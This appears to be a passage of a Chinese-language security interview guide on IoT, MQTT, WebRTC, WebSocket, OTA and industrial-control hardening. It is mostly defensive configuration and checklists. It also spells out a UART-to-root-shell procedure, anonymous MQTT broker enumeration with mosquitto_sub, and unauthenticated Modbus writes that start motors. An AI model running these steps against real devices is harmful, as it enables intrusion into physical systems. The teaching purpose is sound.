  • 认证失败次数异常(爆破)
  • 同一 ClientID 多地登录(设备克隆)
  • 订阅 # 或 $SYS/# 的行为
  • 保留消息被篡改
  • 连接数突增(设备批量掉线/上线)

E17. IoT 设备固件的硬编码凭据问题怎么根治?(难度 ★★★★)

答:

问题的本质: 设备要主动连 Broker,就必须持有凭据。但批量生产时凭据怎么给每台设备?

方案 后果
所有设备共用一套账号密码 ❌ 一台被拆,全部沦陷(提取固件只要 10 分钟)
每台设备烧录唯一凭据 ✅ 正确,但产线要支持
设备证书(mTLS) ✅ 最安全,但需要 PKI 体系

★ 根治方案:一机一密 + 动态凭据 + 定期轮换

流程:

出厂烧录:设备唯一 ID + 设备私钥(或预共享密钥)
    ↓
首次联网:设备用私钥对 challenge 签名 → 服务端用公钥验证
    ↓(这一步证明"你是真设备,不是伪造的")
验证通过 → 服务端生成【临时的】MQTT 凭据(90 天有效)
    ↓
设备用临时凭据连 Broker
    ↓
定期轮换(每天扫描 7 天内过期的,自动生成新的并下发)

好处:

  • 固件里没有能直接用的 MQTT 密码(提取固件也没用)
  • 每台设备凭据不同(一台泄露不影响其他)
  • 凭据有过期时间(泄露影响有限)
  • 可以单独吊销某台设备

类比:

  • 写死密码 = 全公司共用一把大门钥匙(丢一把,全换锁)
  • 一机一密 = 每人一张工牌(丢一张,只吊销那张)
  • 动态凭据 = 工牌每天失效,第二天要重新激活

配套措施:

  1. 私钥存在安全芯片(SE / TPM / TrustZone),不放普通 Flash
  2. 熔断 eFuse 禁用 JTAG/SWD(防止读出 Flash)
  3. 启用 Secure Boot + Flash 加密(读出来是密文)
  4. 检测到失陷设备:立即从 Broker 删除用户 + 断开连接 + 标记状态

E18. OTA 固件升级的降级攻击是什么?怎么防?(难度 ★★★★)

答:

攻击场景:

固件 v1.0 有漏洞(攻击者已掌握利用方法)
厂商发布 v2.0 修复了

但是:设备只要签名正确就接受任何版本

攻击:
  1. 从官网下载 v1.0 的官方签名固件
  2. 推送给已升级到 v2.0 的设备
  3. 设备验证签名 → ✅ 通过(这确实是官方签名的)
  4. 设备降级到 v1.0
  5. 攻击者用已知漏洞攻陷设备

为什么容易成功: 开发者以为“签了名就安全了”,忽略了版本维度。 这是 2010 年代 Android 的著名问题,后来 Google 引入了防回滚保护(Anti-Rollback)。

★ 防御的核心:安全版本计数器

版本号必须存在【安全存储区】:
  - eFuse(一次性可编程熔丝,烧断不能恢复)
  - RPMB(eMMC 的重放保护内存块,需要密钥认证才能写)
  - TrustZone / Secure Enclave
  - TPM 的单调计数器(Monotonic Counter)

为什么不能存普通 Flash?
  攻击者可以直接改掉版本号,让设备以为自己还是 v1.0,然后降级成功。

完整防御(五个要求):

  1. 认证:ECDSA 签名,签名对象必须包含版本号(只签固件内容没用)
  2. 完整性:SHA-256 哈希(用 MessageDigest.isEqual 常量时间比对)
  3. 机密性:固件加密(AES-GCM),解密密钥在安全芯片里
  4. ★ 防降级:安全版本计数器单调递增,版本 <= 当前就拒绝
  5. 安全恢复:A/B 分区(先写备用分区,验证能启动再切换,失败自动回滚)

★ 实现细节(两个易错点):

  • 版本计数器必须在确认新固件能启动之后才更新。 先更新再刷机,刷失败就永久锁死了。
  • 要检查 minVersion(防止跨版本跳跃到有问题的中介版本)

灰度发布:不要一次推给所有设备。 一致性哈希选 10% → 观察 24 小时 → 25% → 50% → 100%。


E19. 硬件调试接口(UART/JTAG/SWD)的风险是什么?厂商怎么防?(难度 ★★★)

答:

风险:

接口 接线 能做什么 常见度
UART 3~4 根(VCC/GND/TX/RX) ★ 直接拿 root shell ⭐⭐⭐⭐⭐
JTAG 4~20 根 读固件、绕过密码、改程序 ⭐⭐⭐⭐
SWD 2 根(ARM) 同 JTAG ⭐⭐⭐⭐
SPI Flash 测试夹 读出完整固件 ⭐⭐⭐

UART 攻击流程(5~30 分钟):

1. 万用表找 GND(蜂鸣档接电源外壳)和 VCC(稳定 3.3V/5V)
2. 剩下两个是 TX(电压跳动)和 RX(电压稳定)
3. USB-TTL 转换器交叉连接(TX→RX, RX→TX, GND→GND)
   ⚠️ VCC 不接!⚠️ 3.3V/5V 电平要匹配,接错烧毁
4. screen /dev/ttyUSB0 115200
5. U-Boot 倒计时按任意键进命令行
6. setenv bootargs ... init=/bin/sh; boot
7. → 直接拿到 root shell,不需要密码

厂商防御:

生产阶段:

  • 熔断 eFuse 永久禁用 JTAG/SWD(STM32: RDP Level 2,不可逆)
  • UART 只留 TX(只能输出日志,不能输入命令),或完全移除焊盘
  • U-Boot 设密码 / setenv bootdelay 0(不给按键盘的机会)

固件层:

  • 关闭串口 root shell(/etc/inittab 注释掉 console)
  • Secure Boot + Flash 加密
  • 密钥放安全芯片(SE/TPM/TrustZone)

物理层:

  • 外壳防拆(拆开触发告警)
  • 关键芯片灌胶
  • Flash 用 BGA 封装(不能用夹子夹)

E20. IoT 设备默认口令问题为什么这么严重?平台侧能做什么?(难度 ★★)

答:

为什么严重: 2016 年 Mirai 僵尸网络用61 个硬编码的默认口令, 感染了 60 万台设备(摄像头、路由器、DVR)。 造成的攻击:

  • 法国 OVH 被 1Tbps DDoS
  • Dyn DNS 被攻击 → Twitter/GitHub/Netflix/PayPal 全挂
  • 德国电信 90 万用户断网

到 2026 年 Mirai 变种仍在活跃,因为仍有大量设备用默认口令且从不更新。

平台侧能做的(设备密码我们改不了,但能限制):

① 弱口令检测

  • 长度 ≥ 12
  • 弱口令字典(Top 1000)黑名单
  • 复杂度(大小写/数字/特殊字符至少 3 种)
  • 连续/重复字符检测(11111、abcabc)
  • 不能包含 “device” / “admin”

② 首次激活强制改密

  • 检测到出厂默认密码 → 标记 forcePasswordChange
  • 24 小时内不改 → 限制功能(只保留改密的 API)

③ 登录失败锁定

  • 30 分钟内失败 5 次 → 锁定 30 分钟 + 告警(疑似爆破)

④ 异常登录检测

  • 异地登录:1 小时内跨国(物理上不可能)
  • IP 段突变
  • 同一凭据多地同时在线(设备克隆)
  • 命中 2 个以上 → 直接锁定

⑤ 网络层

  • 设备准入控制(802.1X)
  • IoT 设备单独 VLAN,禁止访问核心业务网

E21. TURN 服务器被“白嫖”是什么问题?怎么防?(难度 ★★★)

答:

问题: TURN 是中继服务器,所有流量都过它。 如果没有认证,任何人都能拿它当:

  • 免费中继(蹭你的带宽,你的钱)
  • DDoS 跳板(隐藏真实来源)
  • 绕过网络审查的工具

更严重的:如果没配 denied-peer-ip, 攻击者能用你的 TURN 服务器扫描/攻击你的内网—— 这叫 “TURN as a port scanner”。

防御(coturn 配置):

# ① 禁用匿名访问(核心)
no-anonymous-access

# ② 动态凭据(推荐)
use-auth-secret
static-auth-secret=YOUR_LONG_RANDOM_SECRET

# ③ 资源限制
max-bps=262144          # 单会话 64KB/s
total-quota=100         # 总并发中继会话

# ④ ★ 禁止中继到内网(最关键的安全配置)
denied-peer-ip=0.0.0.0-0.255.255.255
denied-peer-ip=10.0.0.0-10.255.255.255
denied-peer-ip=172.16.0.0-172.31.255.255
denied-peer-ip=192.168.0.0-192.168.255.255
denied-peer-ip=127.0.0.0-127.255.255.255
denied-peer-ip=169.254.0.0-169.254.255.255
denied-peer-ip=224.0.0.0-255.255.255.255
no-multicast-peers

动态凭据原理(use-auth-secret):

用户名:{过期时间戳}:{username}      例:1700000000:alice
密码:base64(HMAC-SHA1(secret, 用户名))
  • 凭据有时效(过期时间戳就是过期时间)
  • 不用在 coturn 上预存用户
  • 服务端能控制谁能用、用多久
  • 泄露影响有限

类比:固定密码 = 家门钥匙(丢了要换锁); 动态凭据 = 2 小时有效的临时门禁卡(丢了也就 2 小时)


E22. 信令服务器为什么是 WebRTC 最薄弱的环节?怎么加固?(难度 ★★★★)

答:

为什么:

数据通道:A ←──── DTLS 强制加密 ────→ B     ✅ 协议保证
信令通道:A ←── 你自己写的 WebSocket ──→ B   ❌ 没有任何标准保护

WebRTC 强制使用 DTLS-SRTP,数据通道很安全。 但建立连接的过程(SDP 交换)完全由你自己实现,协议不管。

攻击面:

攻击 说明 后果
房间 ID 可猜测 房间号是 123456、room1 陌生人进会议(Zoombombing)
无鉴权加入 任何人能进任何房间 窃听、骚扰
SDP 注入 篡改 SDP 里的 iceServers ★ 流量走攻击者的 TURN → 中间人窃听
信令重放 重放他人的 offer/answer 会话劫持

★ SDP 注入是最隐蔽的: 攻击者构造 SDP,里面的 ICE 候选指向自己的 TURN 服务器。 服务端无脑转发 → 对端流量经过攻击者的服务器 → 中间人窃听。 数据通道本身是加密的,但攻击者能拿到元数据、能做流量分析, 如果是 SFU 架构(不是 P2P),甚至能直接解密。

加固(七个要点):

  1. 房间 ID 密码学随机(≥128 位),不用自增数字
    byte[] bytes = new byte[16];
    secureRandom.nextBytes(bytes);
    // → Xk9mPq2LrT4wY8zA(2^128 种可能,暴力破解不可能)
  2. 加入需要鉴权(Token + 可选访问码,访问码存 BCrypt hash)
  3. 访问码失败次数限制(15 分钟内 5 次锁定)
  4. 房间过期时间(4 小时自动关闭)
  5. 人数上限
  6. ★ SDP 内容校验:提取所有 candidate 的 IP,检查是否在允许的 ICE 服务器列表里
  7. 信令消息限流

补充:fromUserId 这类字段由服务端填充,不接受客户端自称。


E. 场景题(23~27)


E23. 场景:公司的 WebSocket 聊天室上线后,服务器频繁 OOM。排查发现内存里有大量未完成的消息。可能是什么原因?怎么解决?(难度 ★★★★)

答:

最可能的原因:分片攻击(Frame Fragmentation DoS)

现象分析: “大量未完成的消息” = 攻击者一直发 FIN=0 的分片,永远不发最后一帧。 服务端认为消息没结束,一直缓存在内存里。

排查步骤:

  1. 看堆转储:jmap -dump:format=b,file=heap.hprof <pid> 用 MAT 分析,找占用大的对象 → 应该是 byte[] 或 StringBuilder
  2. 看连接数:netstat -an | grep :8080 | wc -l 如果连接数不多但内存爆了 → 几乎肯定是分片/大消息攻击
  3. 看单连接内存:如果单个连接占了几百 MB → 确认是分片累积

解决方案(分层):

① 立止血

@Override
public boolean supportsPartialMessages() {
    return false;    // ★ 不支持分片,容器收完整条才处理
}

container.setMaxTextMessageBufferSize(64 * 1024);
container.setMaxBinaryMessageBufferSize(64 * 1024);

② 加限制

container.setMaxSessionIdleTimeout(5 * 60 * 1000);  // 空闲 5 分钟踢掉
container.setAsyncSendTimeout(10_000);               // 发送超时
registration.setSendBufferSizeLimit(512 * 1024);     // 发送缓冲区

③ 加限流(消息级,不是请求级)

  • 每连接每秒最多 10 条消息
  • 每分钟最多 100KB
  • 违规 5 次断开 + 封禁

④ 加连接数限制

  • 全局 50000、单 IP 50、单用户 10
  • 计数器在 finally 里释放(防泄漏)

⑤ 排查其他可能 如果不是分片攻击,还要检查:

  • Payload len 声明为 64 位最大值:服务端预分配内存 → OOM → 必须边收边检查,不能预分配
  • opcode=0 的孤儿续帧:没有起始帧的续帧 → 协议错误,断开
  • 未掩码的帧:客户端→服务端 MASK 必须为 1,否则断开
  • 会话泄漏:连接断开后没从 Map 里移除 → 用 finally 清理

E24. 场景:你在做安全评估,发现客户的 MQTT Broker 在公网上,port 8883 开了 TLS。客户说“我们用了 TLS,很安全”。你怎么验证?怎么说服他们整改?(难度 ★★★★)

答:

第一步:验证 TLS 不代表安全

TLS 只解决传输加密(中间人看不到内容), 不解决身份认证(谁能连)和授权(能看什么)。

验证命令:

# 测试匿名访问(TLS 不影响这个)
mosquitto_sub -h broker.customer.com -p 8883 -t '#' -v \
    --cafile /etc/ssl/certs/ca-certificates.crt

结果判读:

  • Connection Code: 0 → 匿名可连!TLS 白配了
  • Connection Refused: not authorised → 客户是对的

第二步:如果匿名可连,展示影响(用数据说话)

# ① 5 分钟能拿到什么
timeout 300 mosquitto_sub -h broker -t '#' -v > traffic.log
wc -l traffic.log
# 输出:15234 条消息

# ② 拿设备清单
mosquitto_sub -h broker -t '$SYS/broker/clients/#' -v
# 输出:1523 个设备的 ID + 真实 IP + 上线时间

# ③ 找敏感 Topic
grep -iE "cmd|command|control|unlock|gps|password|token" topics.txt
# 输出:
#   vehicles/BJ/京A12345/gps
#   home/livingroom/doorlock/command
#   factory/line1/plc001/command

第三步:说服(讲业务影响,不讲技术术语)

❌ 错误说法:“你们的 Broker 允许匿名访问,违反了最小权限原则” ✅ 正确说法:

“我在公网上用一条命令就拿到了 1523 台设备的完整清单, 包括每台设备的编号和真实 IP。 又监听了 5 分钟,收到了 15234 条消息, 里面有车辆 GPS 位置、门锁开关指令、产线 PLC 控制指令。

也就是说:任何人只要知道这个域名, 就能实时看到你们所有车辆的位置, 并且能下发指令——包括开锁和停机。

修复只需要改一行配置:

allow_anonymous false

再加 ACL。工作量大概半天,但能消除这个风险。“

第四步:给出完整整改清单

  1. allow_anonymous false
  2. ACL:{deny, all, subscribe, ["#"]}. + {deny, all, subscribe, ["$SYS/#"]}.
  3. 设备只能访问 devices/${username}/#
  4. 上下行 Topic 分离
  5. 一机一密
  6. 资源限制(连接数、消息大小、inflight)
  7. 监控告警(认证失败、订阅 # 的行为)

加分:如果客户问“那 TLS 是不是白配了”, 要说明 TLS 不是白配——它防住了中间人窃听和凭据抓包。 只是光有 TLS 不够,还需要认证和授权。


E25. 场景:车联网平台,100 万台车辆通过 MQTT 上报数据。设计一套完整的安全方案。(难度 ★★★★★)

答(分层设计):

① 身份层:一机一密 + 证书

出厂:每辆车烧录唯一设备 ID + ECDSA 私钥(存 T-Box 安全芯片)
     公钥注册到平台

激活:车辆用私钥对 challenge 签名 → 平台验签 → 下发临时 MQTT 凭据

★ 高安全场景用 mTLS(客户端证书),配合证书自动轮换

② 传输层

  • MQTT over TLS(8883),TLS 1.3
  • 禁用 1883 明文端口
  • 证书绑定(T-Box 端校验服务端证书指纹,防中间人)

③ 授权层:ACL

# 车辆只能访问自己的 Topic
{allow, {user, {re, "^veh_.+$"}}, publish,   ["vehicles/${username}/up/#"]}.
{allow, {user, {re, "^veh_.+$"}}, subscribe, ["vehicles/${username}/down/#"]}.
# ★ 禁止订阅全部和系统主题
{deny, all, subscribe, ["#"]}.
{deny, all, subscribe, ["$SYS/#"]}.
# ★ 指令 Topic 只允许平台账号发布,车辆只能订阅
{deny,  {user, {re, "^veh_.+$"}}, publish, ["vehicles/+/down/#"]}.

④ Topic 设计

vehicles/{vin}/up/telemetry      车辆上报(车写,平台读)
vehicles/{vin}/up/gps            位置上报
vehicles/{vin}/down/command      平台下发(平台写,车读)
vehicles/{vin}/down/config       配置下发
★ 上下行严格分离,ACL 才能精确控制

⑤ 指令安全(最关键)

  • 指令必须签名:平台用私钥签名,车辆用公钥验证
  • 指令带时间戳 + nonce:防重放(车辆本地维护已处理的 nonce 集合)
  • 指令分级:
    • 低危(查询状态):直接执行
    • 中危(配置变更):需要用户确认
    • 高危(远程锁车、断油断电):★ 必须二次确认 + 人工审核 + 全程录像
  • 指令审计:所有指令留痕,可追溯到操作人

⑥ 数据层

  • GPS 数据脱敏存储(精度降到 100 米,除非业务需要)
  • 敏感字段加密(车主信息、行程轨迹)
  • 数据分级分类 + 访问控制

⑦ 监控

  • 同一 VIN 多地同时在线(克隆设备)
  • 指令频率异常(1 分钟内 10 次锁车 = 攻击)
  • 车辆上报数据突变(GPS 瞬移 = 伪造)
  • 认证失败异常(爆破)

⑧ 准入与隔离

  • 车辆网段与业务网隔离
  • 设备失陷后能快速吊销(deleteUser + kickClient)

⑨ OTA

  • 固件签名(ECDSA)+ 防降级(安全版本计数器)
  • A/B 分区(防变砖)
  • 灰度发布(1% → 10% → 50% → 100%)

⑩ 合规

  • 等保 2.0 三级
  • 数据出境(车辆位置属于重要数据,出境要评估)
  • 《汽车数据安全管理若干规定(试行)》

E26. 场景:你们的视频会议产品用了 WebRTC,安全团队提了三个问题:① 用户内网 IP 可能泄露 ② TURN 账单异常高 ③ 有人能猜到会议房间号。分别怎么解决?(难度 ★★★★)

答:

问题 ①:内网 IP 泄露

原因:WebRTC 收集 host 候选(本机内网 IP)发给对端,不需要用户授权。

解决方案(分层):

  • 产品默认:iceTransportPolicy: 'relay' → 只用 TURN 中继候选,不暴露任何本地 IP → 代价:延迟增加、TURN 带宽成本上升
  • 折中方案:普通会议用 all(允许 P2P,性能好), 高敏感会议(如董事会、涉密会议)强制 relay
  • 告知用户:隐私声明里说明,给用户开关
  • 验证:用 getStats() 检查实际使用的候选类型

问题 ②:TURN 账单异常高

原因:TURN 无认证被白嫖(别人拿你当中继/跳板)。

解决:

no-anonymous-access              # 禁用匿名
use-auth-secret                  # 动态凭据
static-auth-secret=xxx
max-bps=262144                   # 单会话 64KB/s(够视频会议)
total-quota=100                  # 总并发限制
# ★ 禁止中继到内网(防止变成内网扫描器)
denied-peer-ip=10.0.0.0-10.255.255.255
  • 凭据有效期 ≤ 2 小时,绑定用户
  • 监控每个用户的 TURN 流量,异常告警
  • 按需分配:能 P2P 就不给 TURN 凭据

问题 ③:房间号可猜测

解决:

// 128 位密码学随机
byte[] bytes = new byte[16];
secureRandom.nextBytes(bytes);
String roomId = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
// → Xk9mPq2LrT4wY8zA(2^128 种可能)
  • 加入需要鉴权(Token + 可选访问码)
  • 访问码用 BCrypt 存储,失败 5 次锁定 15 分钟
  • 房间 4 小时自动过期
  • 人数上限(最多 50)
  • 房主可以踢人、锁定房间

补充:SDP 注入(安全团队可能没提但同样重要)

  • 校验 SDP 里的所有 candidate IP 是否在白名单里
  • 防止攻击者注入自己的 TURN 服务器做中间人

E27. 场景:工业客户的 PLC 被篡改了工艺参数,但监控大屏显示一切正常。怎么排查?怎么防止再次发生?(难度 ★★★★★)

答:

第一步:理解为什么会“显示正常”

有两种可能:

  1. 攻击者篡改了上报的数据:PLC 读到的真实值是 195, 但上报给 SCADA/MES 的是 180(数据在 PLC 端或网关端被改)
  2. 攻击者篡改的是“设定值”而非“测量值”: 设定值(Holding Register)被改成 195, 而大屏显示的是设定值(也从寄存器读), ——不对,这样应该显示 195

更可能的场景:攻击者改的是PLC 内部的程序逻辑, 让“实际执行的温度”和“上报的温度”不一致(Stuxnet 手法)。

排查步骤:

① 从 PLC 侧直接读(绕过 SCADA)

# 直接连 PLC,读原始寄存器
client = ModbusClient('172.16.30.5')
actual = client.read_input_registers(100, 1)      # 实测温度
setpoint = client.read_holding_registers(100, 1)  # 设定温度
print(f"实测={actual}, 设定={setpoint}")

如果实测 ≠ 大屏显示 → 数据在传输或上报环节被篡改

② 对比 PLC 程序和备份

# 用厂商软件(如 TIA Portal)读取 PLC 里的程序块
# 和最后一次的备份做二进制比对
diff <(sha256sum plc_current.bin) <(sha256sum plc_backup.bin)

如果程序被改 → PLC 被植入了恶意逻辑(最严重)

③ 查日志

  • PLC 的诊断缓冲区(有程序下载、参数修改记录)
  • 工程师站的操作日志
  • 工业防火墙的告警(有没有异常的写操作)
  • 网关/交换机的流量镜像(有没有异常来源 IP)

④ 查网络路径

  • 攻击者怎么进来的?
  • 从摄像头/办公网横向过来的?(见 5.9 案例)
  • 从 MQTT Broker 直接下发指令?
  • 从远程运维通道(TeamViewer/向日葵)?

⑤ 时间线分析

  • 参数是什么时候开始偏离的?
  • 那段时间有什么其他事件(系统更新、人员操作、外部访问)?

防止再次发生:

① 立即可做(低成本)

  • 工业防火墙功能码白名单:
    - 源: 工程师站 (10.0.1.10)
      功能码: [0x06, 0x10]
      寄存器范围: 100-199
      值范围: 0-500        ★ 限制值的范围!
      时间段: 08:00-20:00
      动作: ALLOW + ALERT  ★ 所有写操作告警
  • 工控 IDS 基线学习:正常工况下温度在 180±5, 超出历史范围或偏离均值 4σ 就告警
  • PLC 设为 RUN 模式时禁止下载程序(硬件拨码开关)

② 中期(需要投入)

  • 网络分段:IT / DMZ / OT 三层,摄像头网段禁止访问 OT
  • 单向网闸:生产网 → 管理网硬件单向
  • PLC 程序完整性校验:定期比对运行中的程序和备份
  • 关键参数双通道校验:PLC 的值和独立传感器比对
  • 日志异地备份(WORM 存储,防篡改)

③ 长期

  • 新设备选 OPC UA(内建证书认证 + 加密 + 签名)
  • 建立工控安全运营中心(SOC)
  • 定期红蓝对抗演练

★ 最重要的认知: 工控协议(Modbus/S7comm)本身没有认证, 靠协议防不住,只能靠网络隔离 + 行为监测。 所以“能看见”比“能拦住”更重要。


E. 连环追问链(28~30)


E28. 追问链:WebSocket 认证

Q1:WebSocket 怎么认证? A:握手期用 Cookie 或 Token 认证。

Q2:那 Token 放哪?放 URL 里行吗? A:不行,会进 Nginx 日志、浏览器历史、Referer。 推荐用一次性 ticket:先 HTTPS 换 60 秒有效的 ticket,再用 ticket 连。

Q3:为什么不能像 fetch 一样放 header? A:浏览器 WebSocket API 不支持—— new WebSocket(url, protocols) 第二个参数只能是子协议列表,不能设 headers。

Q4:那用 Cookie 呢?有什么问题? A:有 CSWSH 风险——恶意网站能让你的浏览器建立 WebSocket 连接, 浏览器自动带 Cookie,恶意网站就能读到推送内容。 因为 WebSocket 没有 CORS 预检,不受同源策略保护。

Q5:CSWSH 怎么防? A:校验 Origin 头。严格比对 scheme + host + port, 不能用 contains(会被 example.com.evil.com 绕过)。

Q6:Origin 可以被伪造吗? A:浏览器场景下伪造不了(浏览器强制设置,JS 改不了)。 但非浏览器客户端(Python/App/服务端)可以随便设 Origin, 所以 Origin 校验只对浏览器有效。

Q7:那非浏览器场景怎么办? A:用 Token 或一次性 ticket(不依赖 Cookie,恶意站点拿不到)。

Q8:如果攻击者绕过了所有认证,连上了怎么办? A:订阅归属校验——检查他要订阅的频道是不是属于他。 这是最后一道防线。

Q9:所以哪一道是根本? A:都不是单一的。分层:

  • 浏览器场景:Origin 校验(门禁)
  • 所有场景:Token/ticket 认证(身份)
  • 订阅鉴权(房间锁) ← 最根本,因为它决定了“能看到什么”

这就是纵深防御:不能只靠一道。


E29. 追问链:MQTT 安全

Q1:MQTT 为什么会被攻击? A:最常见的就是 Broker 允许匿名访问,一条 mosquitto_sub -t '#' 拿到所有数据。

Q2:配了 TLS 不就安全了吗? A:TLS 只解决传输加密(中间人看不到), 不解决认证(谁能连)和授权(能看什么)。 匿名访问 + TLS = 加密地把数据送给所有人。

Q3:那关掉匿名访问就行了吗? A:还要配 ACL。认证解决“你是谁”,授权解决“你能看什么”。 如果所有设备共用一个账号,那这个账号能订阅 #,等于没隔离。

Q4:ACL 怎么配? A:三个关键:

  • {deny, all, subscribe, ["#"]}. 禁止订阅全部
  • {deny, all, subscribe, ["$SYS/#"]}. 禁止系统主题
  • 设备只能访问 devices/${username}/#(用变量,不用给每台设备写一条) 还要注意:Mosquitto 顺序匹配,deny 必须放前面。

Q5:设备的账号密码怎么给? A:一机一密,不能全厂共用一套。 固件提取只要 10 分钟(binwalk + grep),共用一套 = 全沦陷。

Q6:但设备总要有个初始凭据才能激活吧? A:用非对称密钥。出厂烧录设备私钥, 设备用私钥对 challenge 签名,服务端用公钥验证。 验证通过才下发临时的 MQTT 凭据(90 天有效,定期轮换)。

Q7:这样固件被提取了还有风险吗? A:有,但小得多——固件里只有设备自己的私钥, 且如果私钥存在安全芯片(SE/TPM)里,物理上也读不出来。 退一步说,即使一台设备的私钥泄露, 也只影响这一台(可以单独吊销),不会全军覆没。

Q8:那 DoS 呢? A:资源限制:连接数、消息大小、inflight 消息数(防 QoS2 内存耗尽)、 离线队列长度、会话过期时间。

Q9:还有一个容易忽略的? A:保留消息投毒——投毒一次持续生效。 要禁止对 command/config 类 Topic 发保留消息, 并定期扫描保留消息比对基线。


E30. 追问链:从 IoT 到物理世界

Q1:IoT 设备和 Web 应用的安全有什么不同? A:最大的不同是 IoT 的漏洞能影响物理世界—— 不是丢数据,是能让工厂停机、电梯卡住、门禁打开。

Q2:能举个具体的例子吗? A:Modbus 协议。1979 年设计,明文、无认证、无加密、无完整性校验。 任何能连到 502 端口的人,发一条 write_single_coil(0, True) 就能启动一台电机;改一个寄存器就能把温度设定值从 180 改成 500。

Q3:那为什么不做认证? A:历史包袱——设计时工业网络是物理隔离的,完全没考虑安全。 而且现在改不了(几十万台在役设备,协议是固件写死的)。 新系统可以用 OPC UA(内建安全),但老设备没办法。

Q4:那怎么防? A:靠外围,四层:

  1. 物理隔离(air gap)——唯一能防 Stuxnet 的方法
  2. 工业防火墙——能理解 Modbus,做功能码白名单
  3. 单向网闸——硬件保证只能单向传
  4. 工控 IDS 基线学习——因为协议本身防不住,所以必须能“看见”

Q5:为什么基线学习在工控特别有效? A:因为工控流量高度规律——同样的设备每秒读同样的寄存器, 数值在固定范围内波动。这和 IT 网络的随机流量完全不同。 所以“出现从未见过的功能码”或“写入超出历史范围的值”就能高精度告警。

Q6:那工控安全的优先级和 IT 一样吗? A:不一样,是倒过来的:

  • IT 是 CIA:机密性 > 完整性 > 可用性
  • OT 是 AIC:可用性 > 完整性 > 机密性 产线停机 1 分钟损失几十万,所以可用性第一。 这也导致很多 IT 安全措施不能直接上(不能随便装杀软、不能随便打补丁、不能随便重启)。

Q7:如果真的被攻陷了,攻击者会怎么最大化破坏? A:真正的 APT 不会立刻让产线停机——那会马上被发现。 他们会缓慢篡改:温度从 180 一点点改成 195,每次 +2, 同时篡改上报数据让监控大屏显示正常值。 三周后才因为产品合格率下降被发现,这时候已经生产了十几万件废品。

Q8:这个案例给防御者什么启示? A:瑞士奶酪模型——每道防线都有洞, 防御的目标不是“某一道做到完美”(做不到), 而是“让洞不对齐”。 这个案例里 8 个失守点,堵住任何一个攻击链都会断。


5.11 第五章小结

5.11.1 核心认知五条

┌────────────────────────────────────────────────────────────────┐
│  ① 长连接让传统安全设备集体失明                                  │
│                                                                 │
│     WAF 看不见帧(握手后协议就变了)                             │
│     限流按请求算(1 连接 = 1 请求,里面能发无限消息)            │
│     网关只在握手鉴权(后面几小时的消息全默认可信)               │
│     访问日志什么都不记(无法审计)                               │
│                                                                 │
│     → 所以:安全必须在【应用层】做                               │
│       限流单位从"请求数"改成"消息数"                             │
├────────────────────────────────────────────────────────────────┤
│  ② 加密 ≠ 认证                                                   │
│                                                                 │
│     MQTT 配了 TLS,但 allow_anonymous true                       │
│     → 加密地把所有数据送给所有人                                 │
│                                                                 │
│     WebRTC 数据通道强制 DTLS 加密(很安全)                      │
│     但信令通道由你自己实现(毫无保护)                           │
│     → 最薄弱的环节永远是你自己写的那部分                          │
│                                                                 │
│     TLS 解决:中间人窃听、凭据抓包                               │
│     TLS 不解决:谁能连、能看什么                                 │
├────────────────────────────────────────────────────────────────┤
│  ③ 通配符和批量能力是"攻击放大器"                                │
│                                                                 │
│     MQTT 的 `#`   → 一条命令订阅全部数据                          │
│     GraphQL 的别名 → 一个请求 1000 次登录                         │
│     WebSocket 长连接 → 1 个请求发 1 万条消息                      │
│     CoAP 的 UDP   → 4 字节请求换几 KB 响应(放大 500 倍)         │
│     TURN 无认证   → 你的带宽给别人免费用                          │
│                                                                 │
│     → 所有"批量/通配"能力都必须配限额和鉴权                      │
├────────────────────────────────────────────────────────────────┤
│  ④ 客户端/设备不可信,这是 IoT 的根本矛盾                        │
│                                                                 │
│     Web:代码在服务器上,客户看不到改不了                        │
│     移动 App:代码在用户手机上,能反编译能 Hook                  │
│     IoT 设备:设备在现场,能拆壳能接 UART 能读 Flash             │
│                                                                 │
│     → 固件提取只要 10 分钟(binwalk + grep)                     │
│     → 所以:凭据不能写死在固件里                                 │
│        用非对称密钥 + 动态凭据 + 安全芯片                        │
│        一台泄露不影响其他(一机一密)                            │
├────────────────────────────────────────────────────────────────┤
│  ⑤ 工控的漏洞影响物理世界,且"能看见"比"能拦住"更重要            │
│                                                                 │
│     Modbus:1979 年设计,明文、无认证、无加密、无完整性          │
│     → 协议本身没救,只能靠外围:                                 │
│       物理隔离 > 工业防火墙 > 单向网闸 > 工控 IDS                │
│                                                                 │
│     为什么 IDS 特别有效?                                        │
│       工控流量高度规律(每秒读同样的寄存器,值在固定范围)        │
│       任何偏离都是异常,误报率低                                 │
│                                                                 │
│     优先级是 AIC(可用性优先),不是 CIA                         │
│     → 不能随便装杀软、打补丁、重启、扫描                         │
└────────────────────────────────────────────────────────────────┘

5.11.2 协议安全速查卡

协议 最大风险 第一道防线 最容易被忽略的点
WebSocket 握手后完全裸奔 Origin 校验 + 订阅鉴权 限流单位要改成“消息数”
SSE EventSource 不能设头 一次性 ticket Nginx proxy_buffering off
WebRTC 内网 IP 泄露 iceTransportPolicy: 'relay' 信令服务器没有任何标准保护
MQTT 匿名访问 + # 订阅 allow_anonymous false + ACL 保留消息投毒(持久性攻击)
CoAP 放大反射 DDoS 启用 DTLS 限制 /.well-known/core 大小
Modbus 明文无认证 工业防火墙功能码白名单 值范围限制(不只是功能码)
OTA 恶意固件植入 固件签名 + 防降级 版本号要签进元数据

5.11.3 上线前必查清单

===================== WebSocket =====================
认证授权:
  ☐ Origin 校验(严格三部分比对,不用 contains)
  ☐ Token 不在 URL(用 ticket 或 Cookie+SameSite)
  ☐ 每个订阅频道校验归属(最后防线)
  ☐ 敏感操作在消息层再校验一次

资源限制:
  ☐ 单条消息大小 ≤ 64KB
  ☐ 空闲超时 ≤ 5 分钟
  ☐ supportsPartialMessages = false(防分片攻击)
  ☐ 消息级限流(每秒 10 条 / 每分钟 100KB)
  ☐ 连接数限制(全局 / 单 IP / 单用户)
  ☐ 计数器在 finally 里释放(防泄漏)

内容安全:
  ☐ 前端用 textContent,不用 innerHTML
  ☐ 富文本用 DOMPurify 白名单过滤
  ☐ 服务端入站也做校验(攻击者可以不用你的前端)
  ☐ CSP 兜底

===================== SSE =====================
  ☐ 认证:Cookie+SameSite 或一次性 ticket
  ☐ Last-Event-ID 校验归属(查询带 userId 条件)
  ☐ data 用 JSON 序列化(防事件注入)
  ☐ event/id 字段清洗(去掉 \r \n :)
  ☐ emitter 设超时(5 分钟)+ 三处清理(防内存泄漏)
  ☐ 心跳保活(15~30 秒注释)
  ☐ Nginx: proxy_buffering off + gzip off + timeout 3600s
